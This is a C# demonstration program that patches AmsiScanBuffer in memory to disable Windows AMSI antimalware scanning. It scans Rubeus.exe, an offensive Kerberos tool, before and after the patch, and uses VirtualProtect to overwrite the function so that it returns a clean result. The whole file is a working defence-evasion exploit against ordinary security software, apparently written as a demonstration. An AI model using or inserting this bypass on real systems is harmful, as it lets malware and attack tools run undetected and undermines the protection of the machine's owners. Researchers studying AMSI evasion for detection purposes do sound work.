using System;
using System.Runtime.InteropServices;
using System.Text;
namespace ConsoleApp
{
class Program
{
static IntPtr _amsiContext;
static IntPtr _amsiSession;
static void Main(string[] args)
{
uint result;
// Initialize the AMSI API.
result = AmsiInitialize("Demo App", out _amsiContext);
// Opens a session within which multiple scan requests can be correlated.
result = AmsiOpenSession(_amsiContext, out _amsiSession);
// Test sample
//var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Send sample to AMSI
var amsiResult = ScanBuffer(sample);
Console.WriteLine($"Before patch: {amsiResult}");
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName.Equals("amsi.dll"))
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// Make region writable (0x40 == PAGE_EXECUTE_READWRITE)
VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
// Copy patch into asb region
Marshal.Copy(patch, 0, asb, patch.Length);
// Restore asb memory permissions
VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);
// Scan same sample again
amsiResult = ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}");
}
static string ScanBuffer(byte[] sample)
{
var result = AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length, "Demo Sample", ref _amsiSession, out uint amsiResult);
return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
}
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
// The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level.
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, ref IntPtr amsiSession, out uint scanResult);
}
}